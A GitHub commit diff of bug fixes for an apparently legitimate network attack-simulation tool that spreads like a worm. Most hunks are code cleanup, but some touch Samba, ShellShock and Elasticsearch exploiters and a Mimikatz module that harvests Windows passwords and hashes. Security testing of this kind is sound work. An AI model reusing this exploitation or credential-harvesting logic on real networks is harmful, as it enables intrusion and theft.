Merge pull request #54 from guardicore/bugfix/various-fixes

Bugfix/various fixes
This commit is contained in:
Daniel Goldberg 2017-10-02 12:48:29 +03:00 committed by GitHub
commit 62713932de
22 changed files with 172 additions and 121 deletions

View File

@ -1 +1 @@
c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec

View File

@ -213,7 +213,7 @@ class Configuration(object):
# exploiters config
###########################
skip_exploit_if_file_exist = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"

View File

@ -1,14 +1,16 @@
import json
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips, check_internet_access
from socket import gethostname
from config import WormConfiguration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import requests
import monkeyfs
import tunnel
from config import WormConfiguration, GUID
from network.info import local_ips, check_internet_access
from transport.http import HTTPConnectProxy
from transport.tcp import TcpProxy
__author__ = 'hoffer'
@ -60,7 +62,7 @@ class ControlClient(object):
timeout=20)
break
except Exception, exc:
except Exception as exc:
WormConfiguration.current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc)
@ -89,7 +91,7 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@ -105,7 +107,7 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -118,7 +120,7 @@ class ControlClient(object):
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
@ -126,7 +128,7 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
except Exception, exc:
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
@ -141,11 +143,11 @@ class ControlClient(object):
return
try:
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {}
@ -215,7 +217,7 @@ class ControlClient(object):
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -243,7 +245,7 @@ class ControlClient(object):
else:
return None, None
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -1,17 +1,17 @@
import argparse
import ctypes
import logging
import os
import pprint
import shutil
import subprocess
import sys
import time
import ctypes
import shutil
import pprint
import logging
import subprocess
import argparse
from ctypes import c_char_p
from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
@ -19,6 +19,12 @@ if "win32" == sys.platform:
else:
DETACHED_PROCESS = 0
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@ -59,10 +65,10 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError), exc:
except (WindowsError, IOError, OSError) as exc:
LOG.debug("Error moving source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@ -74,8 +80,8 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError), exc:
self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
exc)
@ -89,7 +95,7 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except:
except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
@ -131,13 +137,13 @@ class MonkeyDrops(object):
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception, exc:
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:

View File

@ -62,7 +62,7 @@
"self_delete_in_cleanup": true,
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true,
"skip_exploit_if_file_exist": false,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],

View File

@ -53,6 +53,9 @@ class ElasticGroovyExploiter(HostExploiter):
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
major = int(major)
minor = int(minor)
build = int(build)
if major > 1:
return False
if major == 1 and minor > 4:

View File

@ -206,6 +206,9 @@ class SambaCryExploiter(HostExploiter):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
samba_version_parts[1] <= "3"):
is_vulnerable = True
else:
# If pattern doesn't match we can't tell what version it is. Better try
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
@ -304,7 +307,7 @@ class SambaCryExploiter(HostExploiter):
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
except Exception as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True

View File

@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
# we want to report all vulnerable URLs even if we didn't succeed
# let's overload this
[self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# TODO: uncomment when server is ready for it
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:

View File

@ -171,9 +171,11 @@ class ChaosMonkey(object):
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
except Exception, exc:
except Exception as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
continue
if successful_exploiter:

View File

@ -6,6 +6,12 @@ from enum import IntEnum
from network.info import get_host_subnets
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'uri'

View File

@ -1,14 +1,13 @@
import ctypes
import binascii
import logging
import socket
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class MimikatzCollector:
"""
Password collection module for Windows using Mimikatz.
@ -24,7 +23,7 @@ class MimikatzCollector:
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError as ex:
except StandardError:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@ -40,18 +39,28 @@ class MimikatzCollector:
entry_count = self._collect()
logon_data_dictionary = {}
hostname = socket.gethostname()
for i in range(entry_count):
entry = self._get()
username = str(entry.username)
password = str(entry.password)
username = entry.username.encode('utf-8').strip()
password = entry.password.encode('utf-8').strip()
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
has_password = (0 != len(password))
if 0 == len(password):
has_password = False
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
# Don't save the password of the host domain user (HOSTNAME$)
has_password = False
else:
has_password = True
has_lm = ("00000000000000000000000000000000" != lm_hash)
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
if not logon_data_dictionary.has_key(username):
if username not in logon_data_dictionary:
logon_data_dictionary[username] = {}
if has_password:
logon_data_dictionary[username]["password"] = password
@ -61,7 +70,7 @@ class MimikatzCollector:
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError as ex:
except StandardError:
LOG.exception("Error getting logon info")
return {}
@ -75,8 +84,8 @@ class MimikatzCollector:
_fields_ = \
[
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
]

View File

@ -1,7 +1,8 @@
import sys
import ctypes
import logging
import sys
from abc import ABCMeta, abstractmethod
from config import WormConfiguration
__author__ = 'itamar'
@ -28,7 +29,7 @@ class _SystemSingleton(object):
class WindowsSystemSingleton(_SystemSingleton):
def __init__(self):
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name,)
self._mutex_handle = None
@property
@ -84,7 +85,7 @@ class LinuxSystemSingleton(_SystemSingleton):
try:
sock.bind('\0' + self._unix_sock_name)
except socket.error, e:
except socket.error as e:
LOG.error("Cannot acquire system singleton %r, error code %d, error: %s",
self._unix_sock_name, e.args[0], e.args[1])
return False
@ -100,9 +101,12 @@ class LinuxSystemSingleton(_SystemSingleton):
self._sock_handle.close()
self._sock_handle = None
if sys.platform == "win32":
import winerror
SystemSingleton = WindowsSystemSingleton
else:
import socket
SystemSingleton = LinuxSystemSingleton

View File

@ -1,10 +1,14 @@
import urllib, BaseHTTPServer, threading, os.path
import monkeyfs
from logging import getLogger
from base import TransportProxyBase, update_last_serve_time
from urlparse import urlsplit
import BaseHTTPServer
import os.path
import select
import socket
import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
import monkeyfs
from base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f.close()
def send_head(self):
if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
self.send_error (500, "")
return
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')
@ -101,8 +105,8 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
timeout = 30 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
def version_string(self):
@ -120,7 +124,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
conn = socket.create_connection(address)
except socket.error, e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
self.send_error(504) # 504 Gateway Timeout
self.send_error(504) # 504 Gateway Timeout
return
self.send_response(200, 'Connection Established')
self.send_header('Connection', 'close')
@ -163,11 +167,11 @@ class HTTPServer(threading.Thread):
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1]))
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
httpd.timeout = 0.5 # this is irrelevant?
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()

View File

@ -1,14 +1,15 @@
import logging
import socket
import struct
import logging
from threading import Thread
from network.info import local_ips, get_free_tcp_port
from network.firewall import app as firewall
from transport.base import get_last_serve_time
from difflib import get_close_matches
from network.tools import check_port_tcp
from model import VictimHost
import time
from difflib import get_close_matches
from threading import Thread
from model import VictimHost
from network.firewall import app as firewall
from network.info import local_ips, get_free_tcp_port
from network.tools import check_port_tcp
from transport.base import get_last_serve_time
__author__ = 'hoffer'
@ -48,7 +49,7 @@ def _check_tunnel(address, port, existing_sock=None):
try:
sock.sendto("+", (address, MCAST_PORT))
except Exception, exc:
except Exception as exc:
LOG.debug("Caught exception in tunnel registration: %s", exc)
if not existing_sock:
@ -91,7 +92,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.close()
return address, port
except Exception, exc:
except Exception as exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
@ -104,7 +105,7 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
sock.sendto("-", (address, MCAST_PORT))
sock.close()
LOG.debug("Success quitting tunnel")
except Exception, exc:
except Exception as exc:
LOG.debug("Exception quitting tunnel: %s", exc)
return
@ -157,8 +158,8 @@ class MonkeyTunnel(Thread):
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
elif '-' == search:
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
continue

View File

@ -46,9 +46,8 @@ class Monkey(flask_restful.Resource):
update['$set']['config_error'] = monkey_json['config_error']
if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id)
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
@ -98,10 +97,9 @@ class Monkey(flask_restful.Resource):
else:
monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
tunnel_host_id = None
tunnel_host_ip = None
if 'tunnel' in monkey_json:
host = monkey_json['tunnel'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
mongo.db.monkey.update({"guid": monkey_json["guid"]},
@ -112,8 +110,8 @@ class Monkey(flask_restful.Resource):
new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"]
if tunnel_host_id is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id)
if tunnel_host_ip is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})

View File

@ -89,9 +89,8 @@ class Telemetry(flask_restful.Resource):
def process_tunnel_telemetry(self, telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)

View File

@ -506,7 +506,7 @@ SCHEMA = {
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": True,
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
}
}

View File

@ -22,7 +22,7 @@ class EdgeService:
@staticmethod
def edge_to_displayed_edge(edge):
services = {}
services = []
os = {}
exploits = []
if len(edge["scans"]) > 0:
@ -52,6 +52,7 @@ class EdgeService:
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge)
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os

View File

@ -148,7 +148,8 @@ class NodeService:
upsert=False)
@staticmethod
def set_monkey_tunnel(monkey_id, tunnel_host_id):
def set_monkey_tunnel(monkey_id, tunnel_host_ip):
tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"]
NodeService.unset_all_monkey_tunnels(monkey_id)
mongo.db.monkey.update(
{"_id": monkey_id},
@ -156,7 +157,7 @@ class NodeService:
upsert=False)
tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id)
mongo.db.edge.update({"_id": tunnel_edge["_id"]},
{'$set': {'tunnel': True}},
{'$set': {'tunnel': True, 'ip_address': tunnel_host_ip}},
upsert=False)
@staticmethod

View File

@ -10,6 +10,8 @@ let groupNames = ['clean_linux', 'clean_windows', 'exploited_linux', 'exploited_
'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux',
'monkey_linux_running', 'monkey_windows', 'monkey_windows_running'];
let legend = require('../../images/map-legend.png');
let getGroupsOptions = () => {
let groupOptions = {};
for (let groupName of groupNames) {
@ -28,6 +30,7 @@ let options = {
improvedLayout: false
},
edges: {
width: 2,
smooth: {
type: 'curvedCW'
}
@ -61,7 +64,7 @@ class MapPageComponent extends React.Component {
case 'exploited':
return '#c00';
case 'tunnel':
return '#aaa';
return '#0058aa';
case 'scan':
return '#f90';
case 'island':
@ -129,6 +132,9 @@ class MapPageComponent extends React.Component {
<Col xs={12}>
<h1 className="page-title">Infection Map</h1>
</Col>
<Col xs={12}>
<img src={legend}/>
</Col>
<Col xs={8}>
<Graph graph={this.state.graph} options={options} events={this.events}/>
</Col>

View File

@ -134,13 +134,18 @@ class RunMonkeyPageComponent extends React.Component {
Run on C&C Server
{ this.renderIconByState(this.state.runningOnIslandState) }
</button>
<a
className="btn btn-default"
disabled={this.state.runningOnClientState !== 'not_running'}
style={{'marginLeft': '1em'}}>
Download and run locally
{ this.renderIconByState(this.state.runningOnClientState) }
</a>
{
// TODO: implement button functionality
/*
<button
className="btn btn-default"
disabled={this.state.runningOnClientState !== 'not_running'}
style={{'marginLeft': '1em'}}>
Download and run locally
{ this.renderIconByState(this.state.runningOnClientState) }
</button>
*/
}
</p>
<div className="run-monkey-snippets" style={{'marginBottom': '3em'}}>
<p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB